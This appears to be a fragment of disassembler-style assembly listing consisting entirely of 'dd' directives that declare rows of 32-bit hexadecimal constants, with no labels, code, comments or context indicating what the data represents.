		dd 50B8AA49h, 920F11ABh, 4B17D64Bh, 0F784E028h,	7F352572h
		dd 73AE1400h, 80056584h, 0E0679A4Ah, 7570A0h, 0E1C01648h
		dd 5628F005h, 2337A00h,	0BBDCEEC6h, 0C26603A9h,	0AD7495Ah
		dd 0FD777BE8h, 58B88300h, 99176385h, 0C448009Eh, 9BE886CAh
		dd 0E1006C74h, 21EE779Dh, 1D09BDh, 85C5302h, 0BCA492AAh
		dd 0E17D2800h, 75AC8127h, 680702DAh, 2E72C10Fh,	8CE534E8h
		dd 8030EA5Ch, 0FD22CE6h, 0B3280069h, 410A5E6Ch,	0A403F9A0h
		dd 9C14167Fh, 82C1B05Ch, 64CA5C89h, 86346E00h, 8A738D3h
		dd 0FF26F01Fh, 9774D880h, 0B748C2h, 0E390A610h,	1BC0D8Bh
		dd 0C1304D00h, 0CF2C9420h, 89FB00B4h, 9FA47D7Ah, 8F3850C8h
		dd 0B79A870Dh, 0A29048F3h, 3FF91Ch, 207A773Eh, 92B5ADAFh
		dd 1379BA00h, 26538B9Eh, 299C0027h, 0E42097E0h,	0D804CC3Dh
		dd 173F282Eh, 0F37FCB0h, 0F3468003h, 0C610B821h, 33FFF49Ch
		dd 7F1BFE00h, 0E6AE9A9Bh, 0D03B00FDh, 9E1005F1h, 0AB019FB3h
		dd 77FB958Dh, 0C32057F4h, 93771C3h, 8CFC6374h, 8021A484h
		dd 8B059C00h, 0FD1E311Ch, 2CBDBB83h, 4658F964h,	0CD1824h
		dd 6516A274h, 0B0C9ABEh, 9BFA5012h, 3543D400h, 39FF4DFEh
		dd 9F00F2E0h, 95CD5545h, 0B2029344h, 14985AEh, 0D048C025h
		dd 300C0E48h, 0E4406626h, 0CC02FA19h, 35843400h, 0DC2D6BC4h
		dd 6664396Fh, 9D2F040Fh, 4E5CC600h, 0A000BECDh,	5AB69449h
		dd 9582D610h, 20B13C84h, 12A3FE6Ch, 0C0555FBCh,	0A0D54078h
		dd 664E4F00h, 432EFCF8h, 172077D6h, 970C82h, 5EE79E6Dh
		dd 0DB01AD89h, 3CEADC37h, 4860C576h, 5968050Fh,	0C0D4DA6Eh
		dd 481D9042h, 2A640100h, 3AD53374h, 98680067h, 1595B3A3h
		dd 0C100E26Bh, 55493673h, 71FC9216h, 192F00C3h,	8F9EF6E0h
		dd 0B558747Ah, 967C5074h, 48FF9548h, 79290080h,	6CDD27EBh
		dd 0C0A975BFh, 44527650h, 0CB17BA94h, 0C90975BEh, 71A880ADh
		dd 18FB2A4h, 5CF58C2Dh,	0E4EBC648h, 0A200A941h,	8C52F97h
		dd 0F7AF76Ch, 6B1E7FF3h, 5D00FC94h, 634A3F66h, 0E1006041h
		dd 0D1237B7Dh, 6FC8D5h,	720F590Ah, 73B0D0A3h, 0AAC53Ah
		dd 0DEB88926h, 1DF16EACh
		dd 1D1C9509h, 0C67D01A3h, 0D09B4673h, 0E32DB474h, 36AC80AFh
		dd 1DEEDD6Fh, 40ADE435h, 0D6F8B902h, 5A00F52Ch,	71A995A7h
		dd 7033CAC2h, 8D7F0045h, 1316837Bh, 7D3A4826h, 0C46C80C3h
		dd 0BA9DFFFBh, 0D80D00B8h, 49095D33h, 88003F86h, 0A723C94Dh
		dd 402B1Ah, 89C40DEFh, 65EC7DE4h, 7A1CB87Ch, 0A8C057C0h
		dd 0F614C644h, 0EEB200CEh, 0D5715688h, 55004ABEh, 0C2AC1259h
		dd 23E9A3h, 7FA7E703h, 0CDE1CFA2h, 935ECA1Fh, 8CB209h
		dd 0D4ECFBA2h, 0B41300ADh, 31D0410Bh, 0C412AC42h, 0C83C27Ch
		dd 244001A0h, 6C0E0C94h, 7B90FB9Dh, 0F0003AAh, 7376A099h
		dd 2533C829h, 40E803Fh,	135ED022h, 71031452h, 2428ECEAh
		dd 84601FB9h, 906400D2h, 4485B2A7h, 86DF720Bh, 6EECC86Bh
		dd 78B65C9Dh, 6A871501h, 4052DCCCh, 0B90A48E8h,	1409D974h
		dd 7ADA23Dh, 0B090CF08h, 0F2EC0Dh, 1E44C8CCh, 0A591B590h
		dd 0DE23B304h, 8C027C4h, 31D0ED3h, 80EEE874h, 0B99C2FA0h
		dd 0A75701FCh, 5EA84446h, 0F807C0h, 47307866h, 76865022h
		dd 42491500h, 0F61F3C08h, 67A20060h, 0C2FB110h,	8C003383h
		dd 9EF0B84h, 0F41C8Bh, 0CB128ADEh, 0FC4A8794h, 9A472A00h
		dd 0C177AED4h, 0AA4792Dh, 0ABACA911h, 40B413B8h, 45F0C278h
		dd 2B00789Ah, 8EF82FFEh, 4AFDF458h, 80A41EC7h, 0FAEF8CC8h
		dd 4200D3D6h, 0B5DDD62h, 1E72BF4Bh, 0BE900Dh, 3BA7EF94h
		dd 0D300E191h, 6F7C6E35h, 72D8E984h, 79C200F7h,	0DC9A3D4Bh
		dd 51706BC9h, 0A0F4E600h, 96B52D35h, 0B671A8h, 5B2343CFh
		dd 29CEF834h, 1D00D17Dh, 375E782Eh, 0C34ADFh, 0EAE1EB39h
		dd 8D3CD553h, 78606505h, 27C02C0Bh, 33B22Bh, 0F94294EEh
		dd 447E06A5h, 19C88801h, 2AE11FECh, 1B72DCh, 398A604Dh
		dd 0C2FCD261h, 0F30CB400h, 0DE89E728h, 520FAF7h, 619E9AE8h
		dd 38D39095h, 3612153Ah, 48C09BF6h, 2951E7h, 1E1BB8CFh
		dd 5ED18A8Ch, 0ECEB8701h, 0B76044BCh, 7DC4F6E9h, 2E73FAA3h
		dd 9DF4AA25h, 93A6C0C3h, 8B6C03DEh, 9498B160h, 6B07C1h
		dd 9748936h, 0E4F7A306h, 53673F00h, 1A2191F9h, 437C0Dh
		dd 378E2D57h, 0C56A1840h, 0E9FB4A01h, 0E056BE9Dh, 7FE8072Bh
		dd 0F42FF052h, 4701D614h, 0EA1D7DECh, 252BB0DFh, 2DC8360h
		dd 6E26F8F1h, 12A616B0h, 87FFC932h, 1583002Ch, 0DE8C509h
		dd 0A9297D00h, 0F826F29Ah, 7A220004h, 0DAE7E3EEh, 1600C431h
		dd 3984A145h, 30D72EA9h, 3D3C9DDEh, 5A007CA3h, 0B051B4ACh
		dd 5D6A0Ah, 96BB29FAh, 90521CE2h, 80288639h, 6D0970BDh
		dd 0B841902h, 5E79C9A9h, 2BFA0080h, 0CA002D29h,	4002B85Ah
		dd 5D71468h, 0C520B9A4h, 9AAC058Bh, 2DCC001Fh, 0C918A210h
		dd 8F3F5802h, 82CBE9ECh, 0E0DF28C0h, 7A38855Bh,	41421EC3h
		dd 321F0CDDh, 3D125E70h, 0F4A53491h, 39280800h,	5BC80B90h
		dd 0B4E0CC3Ch, 690075C7h, 1A9DAB17h, 1371F34Fh,	0E0AA6C5Fh
		dd 0B8005908h, 27132F23h, 3E939049h, 0F30737E9h, 41BB0320h
		dd 508A5F6Fh, 2F227618h, 0C0354340h, 676D5D38h,	3300457Bh
		dd 6F68301Bh, 924E3CAAh, 4FB70328h, 4C22D24Ah, 0F879E9E0h
		dd 1682C617h, 0C06272B0h, 0ECBEAC18h, 5B07D436h, 0F12B24B0h
		dd 2800DB0h, 6087EEE5h,	0BCAD5122h, 6028E94Bh, 0D3074C6Fh
		dd 0D80386Eh, 4E4225C0h, 947C009Eh, 1036CCE1h, 6CFA4FCFh
		dd 0D8740D00h, 0C17E5F06h, 1C5371E7h, 80DC4049h, 7F48CCE4h
		dd 3090B1C0h, 0ED9C621Fh, 827C8C0h, 3937ED9h, 6D46E763h
		dd 7FD22B4Eh, 0A0BF7DC3h, 0A32852A1h, 0B220A701h, 0F6380A87h
		dd 0E8ECB5EDh, 0DE04001Bh, 561DFFE7h, 4C074235h, 0C2A203DCh
		dd 0BFED004Eh, 452BAD8h, 0A8507D4Fh, 0C0E8832Ch, 0F0350E98h
		dd 0D8376C00h, 0C1839451h, 2B3C004Fh, 53389D22h, 6A004D71h
		dd 8A7B684Eh, 91F997Ah,	0C3780D7Ch, 0DE1E7A00h,	4902F32Ah
		dd 0CF075B6Ch, 0C476B4h, 458E9EC1h, 0EC1ED83Ah,	6EC7C8DEh
		dd 97D08D23h, 90D12D71h, 2ECB1DA8h, 0B59B4CD6h,	0B8504738h
		dd 3D15C8D6h, 18CC0CD5h, 0EB59AEDEh, 6C440063h,	838EA8C2h
		dd 57180824h, 0E221CBC6h, 1C66F60Dh, 378172Dh, 70F443C9h
		dd 18FD95C0h, 8C9C5607h, 3C0195Fh, 0FDC3B586h, 73B9FCh
		dd 560ED8D4h, 60F916FAh, 4A3EDE18h, 748C859h, 3DC6BEE5h
		dd 5F998CD1h, 7E00E07h,	6C0FE10h, 19949A9h, 51596CFDh
		dd 10AD5F57h, 4CF72Dh, 0D3529E91h, 0D03DC9DDh, 0D829C00h
		dd 393049C7h, 7C7300AAh, 871B092Dh, 860008A5h, 18B0B81Ch
		dd 3C95F8Dh, 41151FA7h,	0FD98B1D8h, 31002CF2h, 6C42BC55h
		dd 0E998C1FCh, 17CDE8h,	87142716h, 0CC55944Bh, 58068F30h
		dd 13CF2345h, 322EB7Ah,	0B75047E2h, 2100B3EBh, 0A7CF2B83h
		dd 2403E9Ah, 2A39C84h, 1A01A588h, 83C7300Bh, 5D74F8C7h
		dd 17F0C73Ch, 0B81E3673h, 0A0BB0607h, 53601BD1h, 60949162h
		dd 17AF085Bh, 580606A6h, 8E40D1EDh, 75290B54h, 0A206A5F0h
		dd 21F42016h, 97CE780Fh, 59E080F1h, 0FFD3D15h, 71453013h
		dd 944C17A0h, 4430491Ah, 0D6151075h, 0ABCD0086h, 0AD2DA85Ch
		dd 9801297Bh, 0A209AEEDh, 0D5FC541Ah, 3C3100BDh, 0CAFEA338h
		dd 7E006DF1h, 0D7FF16DBh, 56D5CFADh, 73A104A4h,	90205EABh
		dd 9DE0EF04h, 0CE7CC558h, 8BD21D00h, 0A12F4448h, 2EF701E7h
		dd 0CF361455h, 0BAE440C0h, 2A00F439h, 0CEE37163h, 12DBBADh
		dd 77B8191Bh, 0EBA6F3h,	3C6A2Eh, 1ECF9913h, 0D0D79FC9h
		dd 0C52ECE7Ah, 383AB84Fh, 88903095h, 293FDCF0h,	0C120EC49h
		dd 0C0B7046h, 0F134308Eh, 8DF1BC0h, 0D32F170Eh,	0B0BEA3A9h
		dd 6329C0F3h, 0E9D0606Dh, 9AB74881h, 53A88912h,	6404F600h
		dd 702DAC0Ah, 0C9150691h, 31A7BCC8h, 96BDDF2Eh,	12284D00h
		dd 0EC991D94h, 0EF6A00EAh, 370FF759h, 9530F041h, 0FEBC8932h
		dd 72BF0042h, 276FDE5Dh, 98149985h, 8EB81B37h, 0FB532217h
		dd 0DD24E0A3h, 0B9F7031Dh, 818E4CFFh, 269480CCh, 101DE219h
		dd 2B0143E3h, 639D1FC1h, 262A5CCh, 0FA1EDCC4h, 0EB43AFD2h
		dd 1C65D780h, 5659700Eh, 0BF66655h, 0BE140D20h,	0FD28D413h
		dd 0A13AD469h, 0BD954B00h, 7393679Fh, 0A4600458h, 0FF449Ch
		dd 4230D1D0h, 2D60C3D7h, 1903D34Fh, 82F64A77h, 51B6E0B2h
		dd 56BE00A6h, 9801D7A1h, 0F9304B6Fh, 83DD3927h,	774E007Eh
		dd 0C6A8D3B1h, 8D00BE29h, 3310A7DAh, 1DECE07h, 5FC73E1Ch
		dd 0CC32F50Ah, 0A97574A1h, 551E3300h, 1AE7763Ch, 9887067Bh
		dd 88AE88C4h, 0A2A6D200h, 5839B582h, 7F6A0F70h,	0AF00C401h
		dd 7CDA230Eh, 63EE11Fh,	0F220FB80h, 46B689h, 2B74DD50h
		dd 0D11C1509h, 8023A0AAh, 1102C43Ah, 44BE59CBh,	648BC0D0h
		dd 422F0134h, 15A47219h, 0A28080F2h, 0A7B2EDC8h, 0E673005Ah
		dd 0F0BF2E4Fh, 4C0359CCh, 0F9676078h, 0F1DBD1h,	9DDAAF30h
		dd 33052DC9h, 0CC9A8DBh, 0B003E8B0h, 4B00C710h,	0F66189C5h
		dd 2EE956ECh, 0E42B7Ah,	0C8669018h, 6B01E12Dh, 71F7AFBDh
		dd 0A960A63Eh, 7B51C0CFh, 9AF3AB7Fh, 1ABA1102h,	811BC624h
		dd 282FCDFCh, 0A0385EE8h, 0CEBCD0h, 0D12FF76h, 0B090C98Ch
		dd 4547C800h, 380CFB46h, 43D600E3h, 2E5C3911h, 0FA1EC9AEh
		dd 0FB15A632h, 3C590094h, 0D386744Eh, 704C0385h, 0D7C34A78h
		dd 82B6E01Dh, 0EEB20B80h, 93913A2h, 7399D1C7h, 5C3B2C10h
		dd 5063B440h, 63A49CABh
		dd 3AB368CBh, 7EEDA900h, 1E17F2F5h, 9578B9h, 0C54120E6h
		dd 2D4FA49Dh, 0AF189E04h, 2088F4ECh, 4BDB240Eh,	71B64060h
		dd 0B2019B3Ch, 8BE00F70h, 28203168h, 0F6C21048h, 61AF00A1h
		dd 2990B09Eh, 59B7000Eh, 8F536CEBh, 0BA17492Dh,	5A0FE237h
		dd 4B78E042h, 56C4D97h,	0E874A56Bh, 3AC040DBh, 0CC05B6BCh
		dd 5AC0F30Ah, 816B8876h, 0C91C173Ah, 2B70A050h,	50C300ABh
		dd 22B71811h, 3A144A44h, 7790B3E9h, 3259F660h, 72957904h
		dd 0E08CABD1h, 0DE4CC48Bh, 200F0221h, 84B14BA0h, 0DEF08033h
		dd 20F5E468h, 4479C0FFh, 2BBF3B3Ch, 62B80C00h, 349C8956h
		dd 7C77CBh, 2A9BCE3Dh, 0E1FA2D4h, 9BFD702h, 68931D10h
		dd 0C194DC1Ch, 986977F8h, 42C021CAh, 8B20FDA0h,	0CA8FC20Eh
		dd 9ECA63Ch, 488AF865h,	0BDE0CF88h, 0BE559E4Fh,	288B0903h
		dd 7FB80544h, 8FBA0EF1h, 0E8E914AAh, 816B4C90h,	1A00937Eh
		dd 3EB88D65h, 0F80F4029h, 29D147Fh, 4E239CB6h, 0F420F412h
		dd 4CF5761Ah, 0FC3C0498h, 0F709C086h, 230919Bh,	0DB07524Ah
		dd 1FD17499h, 0C0751174h, 386CC039h, 9B3963C7h,	8EAC00BDh
		dd 0A4DA7773h, 6B70020Dh, 953E1535h, 0D1D78C81h, 5918FB4Ah
		dd 0B81C6D3h, 6D60001Eh, 0C585DB27h, 0D1481352h, 319B0744h
		dd 0C1C0F519h, 93C971D6h, 209A13F4h, 9FE612C0h,	7FABF400h
		dd 7B7935D8h, 2C2372F3h, 4E0839A9h, 0B85C500h, 0C32468E9h
		dd 21C0E038h, 482A63A1h, 7708204Dh, 0F612F217h,	8A2B9820h
		dd 0E4D773Ch, 0B0F03C8h, 0E466A2C2h, 801BCC41h,	980DC431h
		dd 4D98ADEh, 0C7BEA817h, 0EA048043h, 5D135048h,	0B41BA339h
		dd 7099021Ah, 4E286F35h, 0E158688Ah, 232FDAFBh,	0CE1B1710h
		dd 86F0190Fh, 1819A498h, 41D1572Dh, 91C019B3h, 61148818h
		dd 3FB9E8EFh, 60C9EB78h, 241C6485h, 69848864h, 85799200h
		dd 0E49B77Eh, 60680001h, 0A57FA028h, 0DB046475h, 0EA4A5258h
		dd 0E860CC84h, 75B7821Ch, 65550734h, 93FA2032h,	0E1145439h
		dd 0C2E4C759h, 29EBBB64h, 2F5CC83h, 6A9D2901h, 0DEC8ADCh
		dd 1974C0CAh, 9499060Ch, 0C0D6961Fh, 0D0F752h, 58C8088Dh
		dd 4906EE9Bh, 0DA86C893h, 0AF036130h, 0AB4C7F46h, 62C2F951h
		dd 0A7CCB0EEh, 488CFE82h, 0C060CC6h, 0D9C81F18h, 37641700h
		dd 2820AA6Bh, 14E402BEh, 0B965B29Fh, 0E092CC0h,	0D213DC05h
		dd 0C0471651h, 0EC7A290Fh, 52F05F47h, 593D761Bh, 510D004h
		dd 440712CEh, 2910C030h, 0CCB0562h, 926AD24Fh, 0B4405F14h
		dd 0E880ADF3h, 0FCB2E7h, 0E3018B46h, 2FAF2338h,	0E4479100h
		dd 6006BAE8h, 9ED60521h, 70C8C764h, 0F21B77BCh,	0CBCE7288h
		dd 308070E9h, 67535FFFh, 0A4230409h, 0A90C2063h, 0F4ADA8h
		dd 59F2FBF5h, 0A644641Ch, 0E8FA9FF6h, 0B4C9F916h, 88FE0428h
		dd 0D400D3BBh, 705E59AAh, 346C012h, 8F760EBFh, 0A7E9BD54h
		dd 1B845808h, 10A3F02Ch, 87BB4108h, 4AB152D3h, 423A5Ch
		dd 0D3235653h, 9984821h, 0D8364F7Ah, 307D7425h,	5362D9ECh
		dd 0DC7AB00Ah, 239C5004h, 17D32C00h, 3E0CD291h,	8D015B06h
		dd 0C35D7D8Ah, 2036D99Ah, 384CEAA0h, 5A712D0h, 0FB32A030h
		dd 60AF8028h, 0B7EDD100h, 2BBE812h, 444B0EA1h, 156274B2h
		dd 1441E657h, 0C5C982B3h, 0D30139h, 0DE50A186h,	0EF600A00h
		dd 2A1D6731h, 0F92E006Fh, 6C0C7E12h, 69D63F19h,	0E3C4704h
		dd 989B1880h, 0F33CB236h, 0A8E66C20h, 0C03DF780h, 4A5B3F31h
		dd 5258A7Eh, 3D30186Ch,	0F7CD0033h, 5655A3BCh, 0A19023A0h
		dd 764BFE01h, 98A7E070h, 12A1BC4h, 53578A83h, 5CD023B7h
		dd 5248D2F8h, 720F802Ch, 2C117C83h, 5094971Dh, 29C014BBh
		dd 2BB27EE7h, 10660361h, 541705E0h, 9A879EE8h, 46D0F554h
		dd 0FCC34200h, 13889B45h, 79110058h, 5669DA21h,	98023422h
		dd 0F632B53Ch, 0F20C49F3h, 1348C630h, 0AB96A74h, 0A902224h
		dd 122C499Ch, 0A86090B3h, 6D2CC4A7h, 873A9DBFh,	0DC9A3369h
		dd 0F6452901h, 0A4AC1843h, 0A55AC200h, 2F0547B2h, 0C00A504Ah
		dd 63540CD0h, 4E7C02DCh, 95208B53h, 300960CEh, 2060BB72h
		dd 11B8DCACh, 26F8001Fh, 3177285Bh, 120085FDh, 0BA03C96Dh
		dd 0C540EBh, 3B71D586h,	0A66B6A66h, 1C571724h, 51619D42h
		dd 30583DF8h, 0F8359380h, 0BF005579h, 8CEA78DDh, 9445717Eh
		dd 28F741FCh, 7AC100D7h, 56B500C9h, 9468A3D8h, 0DA027EBFh
		dd 4534478Fh, 82D8E22Dh, 0A4F44D38h, 10C8BA88h,	0FF7F0069h
		dd 6CC7543Ah, 0E87C220Ch, 3C034690h, 0DC96045Ch, 0E4F9B2C8h
		dd 67E630h, 1D2A1185h, 4CDCF8A1h, 498E33Dh, 8C21C659h
		dd 0BC8AE481h, 753F1500h, 0EBD2F1DCh, 8AF68891h, 0DC595180h
		dd 4648AC19h, 3429AA14h, 551602EBh, 0C6EE082Ch,	603A0EACh
		dd 961C6FDCh, 38C7431h,	19824AE0h, 0A4A0CCD2h, 7566B821h
		dd 0D264B949h, 0F7D2030h, 3D4913FBh, 0C1571FD4h, 0CEE4B7CDh
		dd 0B397431Dh, 0A080C6BAh, 284C403Dh, 5348CC4Ch, 0B6CD0040h
		dd 3F9D785Fh, 0E1603870h, 8232AF0Bh, 17494C30h,	3FC3A52h
		dd 0D1EF8F37h, 0E662C02Bh, 1F1A073Eh, 70875C09h, 7D4D687Bh
		dd 0D1B57702h, 0E1703A7Ch, 0B610C01Ch, 400E982h, 139E626Bh
		dd 7220EFBAh, 0B9289018h, 0EA502620h, 82D66018h, 870055DFh
		dd 7B88A3CDh, 4EC182Ch,	8D554A8h, 0A9E0C0F4h, 0D14A4C59h
		dd 50357816h, 0E766C380h, 0FB1B0027h, 4C830C1Dh, 0E51607C8h
		dd 7045EAFAh, 580295D1h, 5104792Dh, 56F50088h, 0F9675C44h
		dd 538EC9Ch, 0E9D6B004h, 394988C8h, 5358F8BFh, 28EB12h
		dd 0E48CDC30h, 4D52B404h, 173E00ACh, 6E3150D3h,	0FFC20005h
		dd 0AE9ABA0Eh, 84B0B108h, 60E45C80h, 12200600h,	5874EA5Dh
		dd 0FD4D328Ah, 4C44BA71h, 992D9A00h, 544CD5A7h,	0F5E017h
		dd 0F9A5F7C2h, 1EE4662h, 89D34205h, 0CCD894B6h,	0B047488Ah
		dd 0FFFC8892h, 4E004BF8h, 1FFE8CFBh, 0F258D92Ch, 0C6FA006Fh
		dd 0F583F3E3h, 50919289h, 1888D28Bh, 86CD41F4h,	22689700h
		dd 39B22E69h, 4E2A1E9Dh, 3F12421Dh, 98785D4Ch, 80146359h
		dd 0DBDC54FBh, 45C61285h, 6344C803h, 8D0B111Eh,	0B1387680h
		dd 4905FAEEh, 0E8C624FDh, 5A0031CCh, 2FE6CA55h,	0DEF4D8h
		dd 0C53DB699h, 0B37C5E45h, 0C8B4E749h, 7AE380CDh, 0CF1F75ECh
		dd 9F762C02h, 809A5201h, 3DA5532Ch, 0C21A0123h,	0A77486BBh
		dd 0F9F87052h, 0A5000CB1h, 0F18DB95h, 84CC247Eh, 0F1611850h
		dd 0B89498D1h, 0C8CC0792h, 731E24D4h, 0F3E80BCh, 0C85D4805h
		dd 71C68900h, 0B682942Eh, 0F3700FB9h, 0C93EA969h, 2868B253h
		dd 0AE0091DBh, 0D806BD36h, 0EADF0396h, 61720AB1h, 63946A4Bh
		dd 8CD2D3h, 5065C1DBh, 0AE4A0535h, 8073797Ch, 52ACA4DEh
		dd 0F47B8A16h, 7A0C6428h, 53E90028h, 921FB785h,	7A72EE6Ch
		dd 0D161F894h, 0E9879C2Fh, 0C7211BB6h, 0C8507533h, 393B0E4Ch
		dd 0A761EFC7h, 4D105C53h, 0EED4E6F1h, 0C9E7F84Ah, 0E0C9D320h
		dd 8C38D408h, 0CB5D5201h, 0A863E207h, 3E066036h, 316AA914h
		dd 50BB7024h, 0AFE1840h, 40E021h, 0CAC41791h, 0C52E4A81h
		dd 0DC4B652Eh, 0B5133900h, 0B94FD229h, 0D9F60C20h, 0F000BBC9h
		dd 2FA6DCDEh, 492CFCE0h, 879C40E7h, 0B189F354h,	2C135F2Eh
		dd 8032CBE4h, 3383F528h, 90EB49C5h, 4749329h, 7CDE9B6h
		dd 0BAB03BD0h, 37B7E99h, 0ECBEE03h, 0D900FE1Fh,	0FDE7DC5Eh
		dd 0E49216h, 30525359h
		dd 9E2F3807h, 0E30654FCh, 0D09A9920h, 52EC51h, 3CC2633Bh
		dd 3260812Eh, 17966502h, 46BB5190h, 286E1A44h, 9040694Eh
		dd 388F197h, 0ACE7021Bh, 12A41918h, 989F90A0h, 6400C375h
		dd 0B68036D3h, 2E9DBE76h, 61DC4469h, 1D6AC51h, 0C42DB814h
		dd 0D8995927h, 2660630Eh, 0B8ACE8CDh, 0D77408h,	0A41C6233h
		dd 4A4E5839h, 0DA3A6430h, 7008499h, 0C5EDD1Bh, 9A61A450h
		dd 0C7DB0070h, 0E1834237h, 0CD00E24Ah, 0F7EE4B3Bh, 133CC17Dh
		dd 885DDA65h, 0EC1711DCh, 480B4224h, 4D9C4444h,	0DA881C97h
		dd 0DD7A9683h, 3ECA055h, 45B3018Eh, 98667B9Dh, 17D88937h
		dd 7064C80Bh, 260900DCh, 5C1E77F3h, 99124BA9h, 0C0C7FFBDh
		dd 0D0321B0h, 2EF4007Fh, 90BE47E6h, 0F4BB23E8h,	77BB6502h
		dd 54E55Fh, 0BD5E3D06h,	24008119h, 7B6F091Ah, 18883B3h
		dd 51257692h, 6904F452h, 0B3C3C438h, 0B428C8h, 0B25AB5CCh
		dd 13B6CEE1h, 11B88202h, 0EE885BDCh, 84D22254h,	0F084949Ah
		dd 0F4B661FEh, 7ED7006Fh, 2DA50C5h, 0E1813F4Ch,	0B4C01171h
		dd 0E62D724Ah, 6D5438B3h, 0F74C3E28h, 0B7001344h, 14A53B22h
		dd 60F9A7F5h, 4CE5F986h, 1304BD25h, 8855695Ah, 0B35981C0h
		dd 31231E90h, 64FD097Bh, 19774C30h, 0B04FA89Ch,	306EB80h
		dd 172D4E10h, 0A86018B7h, 900EE8ABh, 0D6772704h, 39F59806h
		dd 1D1D43Fh, 7FFF6668h,	88C45ADDh, 0CA780137h, 757D3534h
		dd 0C0C73B3h, 0C185F649h, 330005Bh, 5EF8B281h, 0FA00085Ah
		dd 13C4B742h, 12C3AF3Ch, 64631CC2h, 58D83054h, 0C500576Dh
		dd 7C7F13D5h, 407FF54h,	78C1E061h, 6CB48D77h, 0AB5FC604h
		dd 4BD12DD0h, 0F098CC8Bh, 3100EBFBh, 94476C6Fh,	1BAAC5Bh
		dd 5049F241h, 3A3FD09h,	6B3901C0h, 0DCDD925Bh, 0FF3CCCC6h
		dd 8F40E84Ch, 0AEACE087h, 16153427h, 92A103FEh,	851309DCh
		dd 19ACC040h, 4C56389Fh, 0DE0042C2h, 0AEB65C3Ah, 77270BC5h
		dd 653898C8h, 4C19EA70h, 76000C79h, 8EAC26A0h, 0FBF84898h
		dd 3E80509Ch, 0D0711020h, 303C4E55h, 0EB69772Ch, 0DA4A8306h
		dd 0B31372Dh, 11AD9E56h, 4894C84Ch, 0AA7A3F80h,	2BDBDAh
		dd 76F7F9EAh, 7C096444h, 79E5CA04h, 8092AF7Fh, 21FD20FFh
		dd 8F00B860h, 9D9632F9h, 5850D4h, 4CE3EAA8h, 9AF16B46h
		dd 554F7A0Bh, 0A9E840FCh, 50D388C8h, 4049B55Eh,	6DDCB0B7h
		dd 404C94D5h, 0FAF4AD9Ch, 0AA5B2900h, 0CB27AB3Ch, 33E60051h
		dd 0BA1E52A0h, 0F0BED3A8h, 5E92C4Ah, 0CC40BEBCh, 20B33319h
		dd 0C2500285h, 8B9B8DA1h, 18005C46h, 0B96BC846h, 12F4AF4h
		dd 9A3F3681h, 393C54E7h, 585384CCh, 0F3006CB3h,	9B8B2AC7h
		dd 360F71B7h, 20E4E7A9h, 0C1DF7964h, 40C02785h,	519D3C80h
		dd 0C09E3DBEh, 0F790543Bh, 78899F60h, 9995D1h, 0A65EB4B2h
		dd 0B72BA372h, 0C010805Ch, 1D0F1445h, 0A4E80006h, 0B39C3B71h
		dd 3D56940Bh, 3F631680h, 783260D9h, 6504C10Eh, 3F81C220h
		dd 4505A513h, 0DB64C425h, 0BE004CF2h, 0DCBA2C92h, 0C009349h
		dd 28822E34h, 2388D3Dh,	0FC09CD55h, 0FC613C1Ch,	4C8B1227h
		dd 894A006Ch, 1A7FF83Ah, 204A1946h, 29EDA08Dh, 4F2CE822h
		dd 6C807A50h, 0BC78C92Eh, 0A3D61105h, 0CCC8F9C2h, 5B59000Eh
		dd 289D2414h, 0B4581870h, 0F085249Ch, 0BFFA908h, 74C83F15h
		dd 90B484D3h, 7B9BA785h, 0C0907810h, 3162C138h,	41EE3B0Ch
		dd 0B81DC504h, 7790E303h, 11343Eh, 982735C0h, 240E4BAAh
		dd 4060E8EAh, 325494DBh, 0BC774900h, 0EB64B06h,	0C6A600D9h
		dd 953F698Bh, 545D1887h, 0D8F19B34h, 4EB6332h, 0CB91A698h
		dd 15E0D88Bh, 68C5F428h, 5C4C8942h, 9440B042h, 13ABA00Eh
		dd 0BB460C36h, 7E29B0EBh, 5871AA2Ch, 46E7203Ah,	0E0E7E07h
		dd 6B760F1Bh, 706454h, 326F68B5h, 0CEFD1F7Bh, 6698AE00h
		dd 6712376Ch, 781B0B0Dh, 0ACE66964h, 0BC28435Eh, 1B4733Fh
		dd 22DC1C1Ah, 281FB66Ch, 90F6C934h, 9E6DE78h, 4D5D2F23h
		dd 0D0A36C82h, 0F0E5D304h, 0E793E0h, 0DBAA4EB7h, 32817944h
		dd 0C7017CEEh, 7781C9Dh, 0D9DF390Fh, 0DC73C304h, 115C4A24h
		dd 0DC43DFh, 541C9C0Eh,	1CE3871h, 2CC09A51h, 66FDF1CBh
		dd 1435057Ch, 88C83041h, 40449CA4h, 77B5BCDAh, 0FC229700h
		dd 7E022E62h, 98A300CCh, 1FD029E8h, 0D0B617C9h,	9D1DE44Ah
		dd 4691014Bh, 37944A5Ch, 0B068A9D0h, 0DB1F06ACh, 49405747h
		dd 9F5FBB6Bh, 61E20564h, 0E345CC62h, 4BEA2598h,	0F4186B8h
		dd 0F47E2C75h, 2D475963h, 0EF364198h, 0C5775E00h, 4A53C1F5h
		dd 0C0E84A92h, 0B003512Ch, 94D0188Ah, 0E77C0074h, 98693F42h
		dd 8E177082h, 0BD100EA5h, 76D309D0h, 1A80402Ah,	8264997Eh
		dd 499B9010h, 4B1D4F2h,	43922280h, 0EE397F5Eh, 2E8B0E61h
		dd 0A02027C5h, 0DBFE3C0Fh, 195DED05h, 7CE2CCF4h, 0E6F4044Ch
		dd 53B1090h, 5F8C62D3h,	18008CE4h, 6BC18252h, 5BEA0h, 0B448991Bh
		dd 754C3F11h, 314CA495h, 6E8184E3h, 0C8B868D5h,	32008B60h
		dd 0A8B35711h, 51C5E814h, 7BDA54EBh, 0D0F7126Ch, 30A24814h
		dd 70698D17h, 0EF4BE8F0h, 0D105E467h, 0DDD77296h, 8388E83Ch
		dd 144DBC00h, 8DB43B33h, 652900A3h, 0B69091Fh, 90B4A46Bh
		dd 3EAAFF40h, 48AEE67Ch, 0FA0083DDh, 0BB0A93A3h, 12091AF7h
		dd 0E40F0EB4h, 1B21004Ch, 0A90631B1h, 0A004F4Bh, 0ADA2E276h
		dd 549E7D3Fh, 402594D4h, 985C32F9h, 439C023Ah, 593D0930h
		dd 0A439897Ch, 4CC654C8h, 9004297Fh, 676DF404h,	8DC14080h
		dd 0D26F0410h, 0F27EACEBh, 23900F8h, 0C8FDC4AAh, 0A987002Ah
		dd 7733AE1Bh, 603969ADh, 0D2CE1271h, 965F988Ch,	0F2B664D8h
		dd 28E2038Ch, 0E8C257D4h, 2247B8C6h, 8A4498F5h,	0EA9E0712h
		dd 306A31B5h, 0BE6BAEF7h, 0FBF3EE1Fh, 5B082826h, 0C491ACh
